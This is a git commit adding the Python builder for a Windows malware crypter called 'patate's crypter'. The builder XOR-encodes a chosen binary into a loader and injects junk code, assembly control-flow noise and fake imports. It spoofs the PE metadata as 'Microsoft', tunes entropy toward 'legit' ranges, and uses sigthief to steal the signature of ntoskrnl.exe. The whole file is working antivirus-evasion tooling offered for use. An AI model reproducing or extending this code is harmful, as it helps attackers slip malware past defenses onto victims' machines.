fix: file structure, made a bit of refactor

This commit is contained in:
2024-03-18 19:30:52 +01:00
parent 0dbc576f8c
commit 6dfe690749
19 changed files with 48 additions and 85 deletions

279
Builder/gui.py Normal file
View File

@@ -0,0 +1,279 @@
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'gui.ui'
#
# Created by: PyQt5 UI code generator 5.15.6
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
"""
TODO :
- Good Section sizes
- Random Windows API calls (help)
Done :
- LoadPE
- Junk code
- Control flow
- IAT obfuscation (adding "normal" imports in addition to the others)
- Change PE metadata (company, description, etc...)
- File icon
- Code signing
- Good entropy
- Add resources (random number of random generated bitmaps) --> Not used because it increases the entropy too much
Note about entropy :
Entropy: between 0 and 8
"Most legit" range : [4.8; 6.8]
"Most malicious" range : [7.2; 8.0]
Best entropy : 6.4
"""
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtWidgets import QApplication
from PyQt5.QtCore import QCoreApplication
from PyQt5.QtGui import QPixmap
from obfuscation import obfuscate
from metadata import change_metadata
import os, shutil, glob
class Ui_mainWindow(object):
def __init__(self) :
self.xor = False
self.cflow = False
self.junk = False
self.filepath = ""
self.icon_path = ""
def setupUi(self, mainWindow):
mainWindow.setObjectName("mainWindow")
mainWindow.setEnabled(True)
mainWindow.resize(262, 289)
sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(mainWindow.sizePolicy().hasHeightForWidth())
mainWindow.setSizePolicy(sizePolicy)
mainWindow.setMinimumSize(QtCore.QSize(262, 289))
mainWindow.setMaximumSize(QtCore.QSize(262, 289))
self.centralwidget = QtWidgets.QWidget(mainWindow)
self.centralwidget.setObjectName("centralwidget")
self.pushButton = QtWidgets.QPushButton(self.centralwidget)
self.pushButton.setGeometry(QtCore.QRect(30, 30, 75, 23))
self.pushButton.setObjectName("pushButton")
self.checkBox = QtWidgets.QCheckBox(self.centralwidget)
self.checkBox.setEnabled(True)
self.checkBox.setGeometry(QtCore.QRect(20, 80, 81, 17))
self.checkBox.setObjectName("checkBox")
self.lineEdit = QtWidgets.QLineEdit(self.centralwidget)
self.lineEdit.setGeometry(QtCore.QRect(120, 90, 113, 20))
self.lineEdit.setObjectName("lineEdit")
self.label = QtWidgets.QLabel(self.centralwidget)
self.label.setEnabled(True)
self.label.setGeometry(QtCore.QRect(160, 70, 47, 13))
self.label.setObjectName("label")
self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget)
self.pushButton_2.setGeometry(QtCore.QRect(10, 220, 241, 41))
self.pushButton_2.setObjectName("pushButton_2")
self.label_2 = QtWidgets.QLabel(self.centralwidget)
self.label_2.setGeometry(QtCore.QRect(20, 200, 201, 21))
self.label_2.setObjectName("label_2")
self.checkBox_2 = QtWidgets.QCheckBox(self.centralwidget)
self.checkBox_2.setGeometry(QtCore.QRect(20, 120, 91, 16))
self.checkBox_2.setObjectName("checkBox_2")
self.spinBox = QtWidgets.QSpinBox(self.centralwidget)
self.spinBox.setGeometry(QtCore.QRect(155, 118, 42, 22))
self.spinBox.setObjectName("spinBox")
self.spinBox.setValue(2)
self.spinBox.setMinimum(1)
self.label_3 = QtWidgets.QLabel(self.centralwidget)
self.label_3.setGeometry(QtCore.QRect(120, 122, 47, 13))
self.label_3.setObjectName("label_3")
self.label_4 = QtWidgets.QLabel(self.centralwidget)
self.label_4.setGeometry(QtCore.QRect(120, 142, 47, 13))
self.label_4.setObjectName("label_4")
self.spinBox_2 = QtWidgets.QSpinBox(self.centralwidget)
self.spinBox_2.setGeometry(QtCore.QRect(155, 138, 42, 22))
self.spinBox_2.setObjectName("spinBox_2")
self.spinBox_2.setValue(8)
self.spinBox_2.setMinimum(1)
self.checkBox_3 = QtWidgets.QCheckBox(self.centralwidget)
self.checkBox_3.setGeometry(QtCore.QRect(20, 140, 91, 16))
self.checkBox_3.setObjectName("checkBox_3")
self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget)
self.pushButton_3.setGeometry(QtCore.QRect(20, 170, 75, 23))
self.pushButton_3.setObjectName("pushButton_3")
self.label_img = QtWidgets.QLabel(self.centralwidget)
self.label_img.setGeometry(QtCore.QRect(120, 160, 51, 41))
self.label_img.setObjectName("label_img")
mainWindow.setCentralWidget(self.centralwidget)
self.statusbar = QtWidgets.QStatusBar(mainWindow)
self.statusbar.setEnabled(True)
self.statusbar.setSizeGripEnabled(False)
self.statusbar.setObjectName("statusbar")
mainWindow.setStatusBar(self.statusbar)
self.retranslateUi(mainWindow)
QtCore.QMetaObject.connectSlotsByName(mainWindow)
# Create a QTimer to call the mainloop function every frame
self.timer = QtCore.QTimer()
self.timer.timeout.connect(self.mainloop)
self.timer.start(16) # Adjust the interval as needed (16 milliseconds for ~60 FPS)
def retranslateUi(self, mainWindow):
_translate = QtCore.QCoreApplication.translate
mainWindow.setWindowTitle(_translate("mainWindow", "patate\'s crypter"))
self.pushButton.setText(_translate("mainWindow", "Select file"))
self.pushButton.clicked.connect(self.fileDialog)
self.checkBox.setText(_translate("mainWindow", "XOR Encrypt"))
self.label.setText(_translate("mainWindow", "Key :"))
self.pushButton_2.setText(_translate("mainWindow", "Generate"))
self.pushButton_2.clicked.connect(self.generate)
self.pushButton_3.setText(_translate("mainWindow", "Icon"))
self.pushButton_3.clicked.connect(self.IconfileDialog)
self.label_2.setText(_translate("mainWindow", ""))
self.label_2.hide()
self.label_3.setText(_translate("mainWindow", "Pass :"))
self.label_4.setText(_translate("mainWindow", "Pass :"))
self.checkBox_2.setText(_translate("mainWindow", "Add junk code"))
self.checkBox_3.setText(_translate("mainWindow", "Control flow"))
def generate(self) :
in_filename = self.filepath
out_filename = "../bin/" + self.pushButton.text().split(".")[0] + "_out.exe"
xor_key = ''
if self.xor :
xor_key = self.lineEdit.text()
self.label_2.show()
if not os.path.exists(in_filename):
self.label_2.setText(f"\"{in_filename}\" does not exist!")
QCoreApplication.processEvents()
return
self.label_2.setText("Creating sample header...")
QCoreApplication.processEvents()
print(f"Filename : {in_filename}")
file = bytearray(open(in_filename, 'rb').read())
with open("../Crypter/sample.h", 'w') as output:
output.write("unsigned char sample[] = { ")
for count, byte in enumerate(file, 1):
if xor_key :
output.write(
f'{byte ^ ord(xor_key[(count - 1) % len(xor_key)]):#0{4}x},' + (
'\n' if not count % 16 else ' '))
else :
output.write(f'{byte:#0{4}x},' + ('\n' if not count % 16 else ' '))
output.write("};")
self.label_2.setText("done.")
QCoreApplication.processEvents()
# Working with a copy of main.cpp
os.rename("../Crypter/main.cpp", "../Crypter/DO_NOT_TOUCH.cpp")
shutil.copyfile('../Crypter/DO_NOT_TOUCH.cpp', '../Crypter/main.cpp')
with open("../Crypter/config.h", "w") as c :
c.write(f'#pragma once\n#define KEY "{xor_key}"')
self.label_2.setText("Adding junk code...")
QCoreApplication.processEvents()
obfuscate(self.spinBox.value(), self.spinBox_2.value(), self.cflow, self.junk)
self.label_2.setText("done.")
QCoreApplication.processEvents()
self.label_2.setText("Changing metadata...")
QCoreApplication.processEvents()
change_metadata(self.icon_path)
self.label_2.setText("done.")
QCoreApplication.processEvents()
self.label_2.setText("Compiling...")
QCoreApplication.processEvents()
vs_path = os.popen("\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\" -nologo -latest -property installationPath").read().replace("\n","") #https://stackoverflow.com/questions/46223916/msbuild-exe-not-found-cmd-exe
cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe"
return_code = os.system("\""+cmd_line+"\" ../Crypter /p:Configuration=Release;Platform=x86;OutDir=.;DebugSymbols=false;DebugType=None;Zm=5000;TargetExt=.exe;TargetName="+out_filename.replace(".exe", "")+" /t:Rebuild")
if return_code :
self.label_2.setText("build failed.")
QCoreApplication.processEvents()
# Cleaning up..
os.remove("../Crypter/main.cpp")
os.rename("../Crypter/DO_NOT_TOUCH.cpp", "../Crypter/main.cpp")
# Find all BMP files in the directory with a wildcard pattern
bmp_files = glob.glob(os.path.join(".", "*.bmp"))
# Delete each BMP file
for bmp_file in bmp_files:
try:
os.remove(bmp_file)
except :
pass
if not return_code :
self.label_2.setText(f"--> {out_filename}")
QCoreApplication.processEvents()
else :
return
self.label_2.setText("Signing the file...")
QCoreApplication.processEvents()
windir = os.getenv("WINDIR")
cmd = f'python sigthief.py -i "{windir}\\System32\\ntoskrnl.exe" -t {out_filename} -o {out_filename.replace(".exe","")+"_signed"}.exe'
os.system(cmd)
os.remove(out_filename)
os.rename(out_filename.replace(".exe","")+"_signed.exe", out_filename)
self.label_2.setText("done.")
QCoreApplication.processEvents()
def fileDialog(self):
options = QtWidgets.QFileDialog.Options()
options |= QtWidgets.QFileDialog.ReadOnly
filePath, _ = QtWidgets.QFileDialog.getOpenFileName(
None, "Select a file", "", "Dll Files (*.dll);;All Files (*)", options=options)
if filePath:
# Display the selected file path in the QLineEdit
self.pushButton.setText(filePath.split("/")[-1:][0])
self.filepath = filePath
def IconfileDialog(self):
options = QtWidgets.QFileDialog.Options()
options |= QtWidgets.QFileDialog.ReadOnly
filePath, _ = QtWidgets.QFileDialog.getOpenFileName(
None, "Select a file", "", "Icon files (*.ico)", options=options)
if filePath:
# Display the selected file path in the QLineEdit
self.pushButton_3.setText(filePath.split("/")[-1:][0])
self.icon_path = filePath
self.pixmap = QPixmap(filePath)
self.pixmap = self.pixmap.scaled(self.label_img.size(), QtCore.Qt.KeepAspectRatio, QtCore.Qt.SmoothTransformation)
self.label_img.setPixmap(self.pixmap)
def mainloop(self) :
self.xor = self.checkBox.isChecked()
self.cflow = self.checkBox_3.isChecked()
self.junk = self.checkBox_2.isChecked()
if __name__ == "__main__":
import sys
app = QtWidgets.QApplication(sys.argv)
mainWindow = QtWidgets.QMainWindow()
ui = Ui_mainWindow()
ui.setupUi(mainWindow)
mainWindow.show()
sys.exit(app.exec_())

206
Builder/gui.ui Normal file
View File

@@ -0,0 +1,206 @@
<?xml version="1.0" encoding="UTF-8"?>
<ui version="4.0">
<class>mainWindow</class>
<widget class="QMainWindow" name="mainWindow">
<property name="enabled">
<bool>true</bool>
</property>
<property name="geometry">
<rect>
<x>0</x>
<y>0</y>
<width>262</width>
<height>289</height>
</rect>
</property>
<property name="sizePolicy">
<sizepolicy hsizetype="Fixed" vsizetype="Fixed">
<horstretch>0</horstretch>
<verstretch>0</verstretch>
</sizepolicy>
</property>
<property name="minimumSize">
<size>
<width>262</width>
<height>289</height>
</size>
</property>
<property name="maximumSize">
<size>
<width>262</width>
<height>289</height>
</size>
</property>
<property name="windowTitle">
<string>patate's crypter</string>
</property>
<widget class="QWidget" name="centralwidget">
<widget class="QPushButton" name="pushButton">
<property name="geometry">
<rect>
<x>30</x>
<y>30</y>
<width>75</width>
<height>23</height>
</rect>
</property>
<property name="text">
<string>Select file</string>
</property>
</widget>
<widget class="QCheckBox" name="checkBox">
<property name="enabled">
<bool>true</bool>
</property>
<property name="geometry">
<rect>
<x>20</x>
<y>80</y>
<width>81</width>
<height>17</height>
</rect>
</property>
<property name="text">
<string>XOR Encrypt</string>
</property>
</widget>
<widget class="QLineEdit" name="lineEdit">
<property name="geometry">
<rect>
<x>120</x>
<y>90</y>
<width>113</width>
<height>20</height>
</rect>
</property>
</widget>
<widget class="QLabel" name="label">
<property name="enabled">
<bool>true</bool>
</property>
<property name="geometry">
<rect>
<x>160</x>
<y>70</y>
<width>47</width>
<height>13</height>
</rect>
</property>
<property name="text">
<string>Key :</string>
</property>
</widget>
<widget class="QPushButton" name="pushButton_2">
<property name="geometry">
<rect>
<x>10</x>
<y>220</y>
<width>241</width>
<height>41</height>
</rect>
</property>
<property name="text">
<string>Generate</string>
</property>
</widget>
<widget class="QLabel" name="label_2">
<property name="geometry">
<rect>
<x>20</x>
<y>200</y>
<width>201</width>
<height>21</height>
</rect>
</property>
<property name="text">
<string>Generated aaa.exe</string>
</property>
</widget>
<widget class="QCheckBox" name="checkBox_2">
<property name="geometry">
<rect>
<x>20</x>
<y>120</y>
<width>91</width>
<height>16</height>
</rect>
</property>
<property name="text">
<string>Add junk code</string>
</property>
</widget>
<widget class="QCheckBox" name="checkBox_3">
<property name="geometry">
<rect>
<x>20</x>
<y>140</y>
<width>91</width>
<height>16</height>
</rect>
</property>
<property name="text">
<string>Control flow</string>
</property>
</widget>
<widget class="QSpinBox" name="spinBox">
<property name="geometry">
<rect>
<x>155</x>
<y>118</y>
<width>42</width>
<height>22</height>
</rect>
</property>
</widget>
<widget class="QLabel" name="label_3">
<property name="geometry">
<rect>
<x>120</x>
<y>122</y>
<width>47</width>
<height>13</height>
</rect>
</property>
<property name="text">
<string>Pass :</string>
</property>
</widget>
<widget class="QPushButton" name="pushButton_3">
<property name="geometry">
<rect>
<x>20</x>
<y>170</y>
<width>75</width>
<height>23</height>
</rect>
</property>
<property name="text">
<string>Icon</string>
</property>
</widget>
<widget class="QLabel" name="label_4">
<property name="geometry">
<rect>
<x>120</x>
<y>160</y>
<width>51</width>
<height>41</height>
</rect>
</property>
<property name="text">
<string>TextLabel</string>
</property>
</widget>
</widget>
<widget class="QStatusBar" name="statusbar">
<property name="enabled">
<bool>true</bool>
</property>
<property name="sizeGripEnabled">
<bool>false</bool>
</property>
</widget>
</widget>
<resources/>
<connections/>
</ui>

65
Builder/metadata.py Normal file
View File

@@ -0,0 +1,65 @@
from randomness import *
from PIL import Image, ImageDraw
def generate_bmp(filename):
# Define the dimensions of the BMP image
width = 256 # Width of the image
height = 256 # Height of the image
# Create a new blank image with a white background
img = Image.new('RGB', (width, height), 'white')
# Create a drawing object to draw on the image
draw = ImageDraw.Draw(img)
# Generate random pixel colors and fill the image
for x in range(width):
for y in range(height):
red = GetRandomRange(0, 255)
green = GetRandomRange(0, 255)
blue = GetRandomRange(0, 255)
pixel_color = (red, green, blue)
draw.point((x, y), fill=pixel_color)
# Save the generated BMP image
img.save(filename, 'BMP')
def change_metadata(icon_file) :
number_of_bmp = 0#GetRandomRange(2, 6) makes the entropy go to 7.4 for ONE image, so very very very bad
f = open("../Crypter/patate-crypter.rc", "r")
f_c = f.readlines()
f.close()
o = open("../Crypter/patate-crypter.rc", "w")
for line in f_c :
if "CompanyName" in line :
line = f'\t\t\tVALUE "CompanyName", "Microsoft"\n'
elif "FileDescription" in line :
line = f'\t\t\tVALUE "FileDescription", "{GetRandomString(20)}"\n'
elif "InternalName" in line :
line = f'\t\t\tVALUE "InternalName", "{GetRandomString(7)}.exe"\n'
elif "OriginalFilename" in line :
line = f'\t\t\tVALUE "OriginalFilename", "{GetRandomString(7)}.exe"\n'
elif "ProductName" in line :
line = f'\t\t\tVALUE "ProductName", "{GetRandomString(7)}.exe"\n'
elif "MAINICON" in line :
if icon_file != "" :
line = f'MAINICON ICON "{icon_file}"\n'
else :
line = f'//MAINICON ICON "{icon_file}"\n'
for i in range(number_of_bmp) :
bmp_name = f"img_{i}.bmp"
generate_bmp(bmp_name)
line += f'{GetRandomString(10)} BITMAP "{bmp_name}"\n'
elif "BITMAP" in line : line = ""
o.write(line)
o.close()

309
Builder/obfuscation.py Normal file
View File

@@ -0,0 +1,309 @@
import os, string, re
from randomness import *
"""
Creates :
- Random variables (local and globals)
- Random operations on globals
- Random function definitions
- Random function calls
- Random control flow
"""
types = ["short", "unsigned short", "int", "unsigned int", "long", "unsigned long"] #"float", "double"]
operations = ["-", "+", "^", "*", "/"]
global_vars = {}
functions = []
in_func = False
def GetRandomVar() :
global global_vars
global in_func
vtype = types[GetRandomRange(0, len(types)-1)]
vname = GetRandomString(15)
t = vtype + " " + vname + " = "
val = str(GetRandomNumber())
if vtype == "float" or vtype == "double" : val = str(GetRandomNumber())+"."+str(GetRandomNumber())
if vtype == "float" : val += "f"
res = t + val + ";"
if not in_func :
global_vars[vname] = vtype
return res
def GetRandomOperation() :
global global_vars
vars_ = list(global_vars.items())
if len(vars_) < 1 : return ""
v1 = vars_[GetRandomRange(0, len(vars_)-1)]
op = operations[GetRandomRange(0, len(operations)-1)]
res = ""
res += v1[0] + " " + op + "= "
vtype = v1[1]
val = str(GetRandomNumber())
if vtype == "float" or vtype == "double" :
if op == "^" : return GetRandomOperation()
val = str(GetRandomNumber())+"."+str(GetRandomNumber())
if vtype == "float" : val += "f"
res += val + ";"
return res
def GetRandomFunction() :
global functions
name = GetRandomString(15)
functions.append(name)
body = "int "+name+"(const char* a1) {\n"
body += "\tif (a1 <= (void*)0x00100000) return 0;\n"
body += "\tchar aaa = ((char)((int)'0' + 1));\n"
body += f"\tint bb = {GetRandomNumber()};\n"
body += "\tfor (int i = 0; i < 10; i++) {\n\t\tCreateMutexA(NULL, false, &aaa);\n\t\tbb++;\n\t}\n\treturn bb;\n}"
return body
def CallRandomFunction() :
global functions
if len(functions) < 1 : return ""
sub = functions[GetRandomRange(0, len(functions)-1)]
return "int " + GetRandomString(15) + " = " + sub + "(\""+GetRandomString(10)+"\");"
def GetAsmBlock(branch1, branch2, var, end, sub) :
asm_block = """\n\t\tcmp eax, """+str(GetRandomNumber())+"""
jne """+branch1+"""
jmp """+branch2+"""
"""+branch1+""":"""
if GetRandomRange(0, 4) > 1 :
branch1 = GetRandomString(20)
branch2_ = GetRandomString(20)
asm_block += GetAsmBlock(branch1, branch2_, var, end, sub)
asm_block += "\n\t"+branch2+":\n\t\tmov eax, "+var+"\n\t\tcall "+sub
return asm_block
def GetRandomAssemblyBlock() :
global functions
if len(functions) < 1 : return ""
sub = functions[GetRandomRange(0, len(functions)-1)]
branch1 = GetRandomString(20)
branch2 = GetRandomString(20)
end = GetRandomString(20)
var = GetRandomString(15)
r = """const char* """+var+""" = \""""+GetRandomString(5)+"""\";\n__asm {"""
for i in range(GetRandomRange(0, 30)) :
branch1 = GetRandomString(20)
branch2 = GetRandomString(20)
end = GetRandomString(20)
r += GetAsmBlock(branch1, branch2, var, end, sub)
r += """\n};"""
return r
def generate_switch_statement(variable_name, exit_value, depth=0):
indent = " " * depth
switch_code = f"{indent}switch ({variable_name}) {{\n"
num_cases = GetRandomRange(2, 5)
for _ in range(num_cases):
case_value = GetRandomRange(1, 10**6)
switch_code += f"{indent} case {case_value}:\n"
if depth < 2 and GetRandomRange(0, 4) > 1 :
switch_code += generate_switch_statement(variable_name, exit_value, depth + 1)
else:
switch_code += f"{indent} {{\n"
switch_code += f"{indent} // Your code here\n"
switch_code += f"{indent} break;\n"
switch_code += f"{indent} }}\n"
switch_code += f"{indent} default:\n"
switch_code += f"{indent} {{\n"
switch_code += f"{indent} {variable_name} = {exit_value};\n"
switch_code += f"{indent} break;\n"
switch_code += f"{indent} }}\n"
switch_code += f"{indent}}}\n"
return switch_code
def GetRandomControlFlow():
cpp_code = ""
var_name = GetRandomString(15)
end_num = GetRandomNumber()
cpp_code += f"int {var_name} = {end_num};\n"
cpp_code += "while ("+var_name+" != "+str(end_num)+") {\n"
cpp_code += generate_switch_statement(var_name, end_num)
cpp_code += " }\n"
return cpp_code
FILES_TO_OBFUSCATE = {"../Crypter/main.cpp":"../Crypter/DO_NOT_TOUCH.cpp"}# "getapi.cpp":"DO_NOT_TOUCH_API.cpp"}
def obfuscate(PASS, CFLOW_PASS, cflow, junk) :
if PASS < CFLOW_PASS : PASS = CFLOW_PASS
if not cflow and not junk : PASS = 0
global global_vars
global functions
global in_func
func_def_pattern = r'\b\w+\s+\w+\s*\([^)]*\)\s*'
for outfile, infile in FILES_TO_OBFUSCATE.items():
if PASS == 0 : break;
f = open(infile, "r")
o = open(outfile, "w")
out = []
lines = f.readlines()
for k in range(PASS) :
in_comment = False
in_switch = False
in_asm = False
in_dowhile = False
can_code = False
wait_for_func_close = False
in_debug = False
global_vars = {}
functions = []
out = []
idx = 0
for line in lines :
idx += 1
out.append(line)
if idx+1 < len(lines)-1 and "//END" in lines[idx+1] or "//END" in line:
in_func = False
wait_for_func_close = True
continue
if wait_for_func_close and "}" in line :
in_func = False
wait_for_func_close = False
continue
if wait_for_func_close :
continue
if "//START" in line : in_func = True
if "/*" in line : in_comment = True
elif "*/" in line : in_comment = False
if "switch" in line : in_switch = True
elif in_switch and "}" in line : in_switch = False
if "__asm" in line : in_asm = True
elif in_asm and "}" in line : in_asm = False
if "// Your code here" in line :
#can_code = True
pass
elif "break;" in line and can_code :
can_code = False
if "#ifdef _DEBUG" in line :
in_debug = True
elif in_debug and "#endif" in line :
in_debug = False
continue
if "do {" in line :
in_dowhile = True
elif in_dowhile and "while" in line :
in_dowhile = False
continue
if in_debug : continue
if in_dowhile : continue
a = "{" in line or "}" in line or "#" in line
b = re.search(func_def_pattern, line) != None
if not can_code :
if b or a or in_comment or in_switch or in_asm : continue # we can't write
if GetRandomBool() and junk and k < PASS : # do we create a variable ?
out.append(GetRandomVar()+"\n")
if GetRandomBool() and in_func and junk and k < PASS : # do we do an operation on globals ?
out.append(GetRandomOperation()+"\n")
if GetRandomBool() and not in_func : # do we create a function ?
out.append(GetRandomFunction()+"\n")
if GetRandomBool() and in_func : # do we call a function ?
out.append(CallRandomFunction()+"\n")
if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
out.append(GetRandomAssemblyBlock()+"\n")
if GetRandomBool() and in_func and cflow and k < CFLOW_PASS : # do we mess up control flow ?
out.append(GetRandomControlFlow()+"\n")
lines = out
fake_api = """#define k_AreFileApisANSI (*(DWORD(WINAPI *)(VOID)) AreFileApisANSI)\r\n
#define k_AssignProcessToJobObject (*(DWORD(WINAPI *)(DWORD,DWORD)) AssignProcessToJobObject)\r\n
#define k_CancelWaitableTimer (*(DWORD(WINAPI *)(DWORD)) CancelWaitableTimer)\r\n
#define k_ClearCommBreak (*(DWORD(WINAPI *)(DWORD)) ClearCommBreak)\r\n
#define k_ClearCommError (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) ClearCommError)\r\n
#define k_ConvertFiberToThread (*(DWORD(WINAPI *)(VOID)) ConvertFiberToThread)\r\n
#define k_ConvertThreadToFiber (*(DWORD(WINAPI *)(DWORD)) ConvertThreadToFiber)\r\n
#define k_CreateFiber (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD)) CreateFiber)\r\n
#define k_CreateFiberEx (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD,DWORD)) CreateFiberEx)\r\n
#define k_CreateIoCompletionPort (*(DWORD(WINAPI *)(DWORD,DWORD,DWORD,DWORD)) CreateIoCompletionPort)\r\n"""
static_imports = """DWORD USER3221_Array[] = { (DWORD)GetWindowLongA, (DWORD)wvsprintfA, (DWORD)SetWindowPos, (DWORD)FindWindowA,\r\n
(DWORD)RedrawWindow, (DWORD)GetWindowTextA, (DWORD)EnableWindow, (DWORD)GetSystemMetrics,\r\n
(DWORD)IsWindow, (DWORD)CheckRadioButton, (DWORD)UnregisterClassA, (DWORD)SetCursor,\r\n
(DWORD)GetSysColorBrush, (DWORD)DialogBoxParamA, (DWORD)DestroyAcceleratorTable, (DWORD)DispatchMessageA,\r\n
(DWORD)TranslateMessage, (DWORD)LoadIconA, (DWORD)EmptyClipboard, (DWORD)SetClipboardData, (DWORD)SetFocus,\r\n
(DWORD)CharUpperA, (DWORD)OpenClipboard, (DWORD)IsDialogMessageA, (DWORD)TranslateAcceleratorA, (DWORD)GetMessageA,\r\n
(DWORD)LoadAcceleratorsA, (DWORD)RemoveMenu, (DWORD)InvalidateRect, (DWORD)ChildWindowFromPoint, (DWORD)PostMessageA,\r\n
(DWORD)DestroyCursor, (DWORD)CreateDialogParamA, (DWORD)GetWindowRect, (DWORD)IsMenu, (DWORD)GetSubMenu, (DWORD)SetDlgItemInt,\r\n
(DWORD)GetWindowPlacement, (DWORD)CharLowerBuffA, (DWORD)EnableMenuItem, (DWORD)CheckMenuRadioItem, (DWORD)GetSysColor,\r\n
(DWORD)KillTimer, (DWORD)DestroyIcon, (DWORD)DestroyWindow, (DWORD)PostQuitMessage, (DWORD)GetClientRect, (DWORD)MoveWindow,\r\n
(DWORD)GetSystemMenu, (DWORD)SetTimer, (DWORD)SetWindowPlacement, (DWORD)InsertMenuItemA, (DWORD)GetMenu, (DWORD)CheckMenuItem,\r\n
(DWORD)SetMenuItemInfoA, (DWORD)SetActiveWindow, (DWORD)DefDlgProcA, (DWORD)RegisterClassA, (DWORD)EndDialog, (DWORD)SetDlgItemTextA,\r\n
(DWORD)EnumClipboardFormats, (DWORD)GetClipboardData, (DWORD)CloseClipboard, (DWORD)GetClassInfoA, (DWORD)CallWindowProcA,\r\n
(DWORD)SetWindowLongA, (DWORD)IsDlgButtonChecked, (DWORD)SetWindowTextA, (DWORD)CheckDlgButton, (DWORD)GetActiveWindow, (DWORD)LoadCursorA,\r\n
(DWORD)MessageBoxA, (DWORD)wsprintfA, (DWORD)GetDlgItemTextA, (DWORD)SendMessageA, (DWORD)GetCursorPos, (DWORD)TrackPopupMenu,\r\n
(DWORD)ClientToScreen, (DWORD)DestroyMenu, (DWORD)CreatePopupMenu, (DWORD)AppendMenuA, (DWORD)SendDlgItemMessageA, (DWORD)GetDlgItem };\r\n
\r\n
DWORD GDI32121_Array[] = { (DWORD)GetObjectA, (DWORD)GetStockObject, (DWORD)DeleteObject, (DWORD)SetBkMode, (DWORD)SetTextColor, (DWORD)CreateFontIndirectA, (DWORD)SelectObject };\r\n
\r\n
DWORD comdlg3218_Array[] = { (DWORD)GetOpenFileNameA, (DWORD)GetSaveFileNameA };\r\n
\r\n
DWORD ADVAPI32214_Array[] = { (DWORD)RegCreateKeyA, (DWORD)RegSetValueA, (DWORD)GetUserNameA, (DWORD)RegCloseKey,\r\n
(DWORD)RegOpenKeyExA, (DWORD)AdjustTokenPrivileges, (DWORD)LookupPrivilegeValueA, (DWORD)OpenProcessToken, (DWORD)RegQueryValueExA, (DWORD)RegDeleteKeyA };\r\n
\r\n"""
fake_libs = """#pragma comment(lib,\"user32.lib\")\r\n
#pragma comment(lib,\"Comdlg32.lib\")\r\n
#pragma comment(lib,\"UrlMon.lib\")\r\n
#pragma comment(lib,\"Shell32.lib\")\r\n
#pragma comment(lib,\"oledlg.lib\")\r\n
#pragma comment(lib,\"Ole32.lib\")\r\n
#pragma comment(lib,\"AdvApi32.lib\")\r\n
#pragma comment(lib,\"WinInet.lib\")\r\n
#pragma comment(lib,\"Gdi32.lib\")\r\n
#pragma comment(lib,\"WS2_32.lib\")\r\n
#pragma comment(lib,\"opengl32.lib\")\r\n"""
fake_includes = """#include <intrin.h>\r\n
#include <Objbase.h>\r\n
#include <Callobj.h>\r\n
#include <Shellapi.h>\r\n
#include <Urlmon.h>\r\n
#include <Prsht.h>\r\n
#include <Userenv.h>\r\n"""
if outfile == "../Crypter/main.cpp" :
out.insert(0, fake_api)
out.insert(0, static_imports)
out.insert(0, fake_libs)
out.insert(0, fake_includes)
o.writelines(out)

40
Builder/randomness.py Normal file
View File

@@ -0,0 +1,40 @@
import os, string
def GetRandomBool() :
result = os.urandom(3)
r= sum(result) < 381.04
return r #average
def GetRandomNumber() :
result = os.urandom(4)
return int(sum(result))
def GetRandomRange(a, b):
if a > b:
a, b = b, a
range_size = b - a + 1
num_bits = 0
while 2 ** num_bits < range_size:
num_bits += 1
random_binary = [GetRandomBool() for _ in range(num_bits)]
random_integer = 0
for i, bit in enumerate(random_binary):
random_integer += bit * (2 ** i)
mapped_value = a + random_integer
if mapped_value > b : return GetRandomRange(a, b)
return mapped_value
def GetRandomString(l) :
letters = string.ascii_lowercase
s = ""
while len(s) < l :
r = GetRandomRange(0, len(letters)-1)
s += letters[r]
return s

2
Builder/requirements.txt Normal file
View File

@@ -0,0 +1,2 @@
pillow
pywin32

268
Builder/sigthief.py Normal file
View File

@@ -0,0 +1,268 @@
#!/usr/bin/env python3
# LICENSE: BSD-3
# Copyright: Josh Pitts @midnite_runr
import sys
import struct
import shutil
import io
from optparse import OptionParser
def gather_file_info_win(binary):
"""
Borrowed from BDF...
I could just skip to certLOC... *shrug*
"""
flItms = {}
binary = open(binary, 'rb')
binary.seek(int('3C', 16))
flItms['buffer'] = 0
flItms['JMPtoCodeAddress'] = 0
flItms['dis_frm_pehdrs_sectble'] = 248
flItms['pe_header_location'] = struct.unpack('<i', binary.read(4))[0]
# Start of COFF
flItms['COFF_Start'] = flItms['pe_header_location'] + 4
binary.seek(flItms['COFF_Start'])
flItms['MachineType'] = struct.unpack('<H', binary.read(2))[0]
binary.seek(flItms['COFF_Start'] + 2, 0)
flItms['NumberOfSections'] = struct.unpack('<H', binary.read(2))[0]
flItms['TimeDateStamp'] = struct.unpack('<I', binary.read(4))[0]
binary.seek(flItms['COFF_Start'] + 16, 0)
flItms['SizeOfOptionalHeader'] = struct.unpack('<H', binary.read(2))[0]
flItms['Characteristics'] = struct.unpack('<H', binary.read(2))[0]
#End of COFF
flItms['OptionalHeader_start'] = flItms['COFF_Start'] + 20
#if flItms['SizeOfOptionalHeader']:
#Begin Standard Fields section of Optional Header
binary.seek(flItms['OptionalHeader_start'])
flItms['Magic'] = struct.unpack('<H', binary.read(2))[0]
flItms['MajorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['MinorLinkerVersion'] = struct.unpack("!B", binary.read(1))[0]
flItms['SizeOfCode'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfInitializedData'] = struct.unpack("<I", binary.read(4))[0]
flItms['SizeOfUninitializedData'] = struct.unpack("<I",
binary.read(4))[0]
flItms['AddressOfEntryPoint'] = struct.unpack('<I', binary.read(4))[0]
flItms['PatchLocation'] = flItms['AddressOfEntryPoint']
flItms['BaseOfCode'] = struct.unpack('<I', binary.read(4))[0]
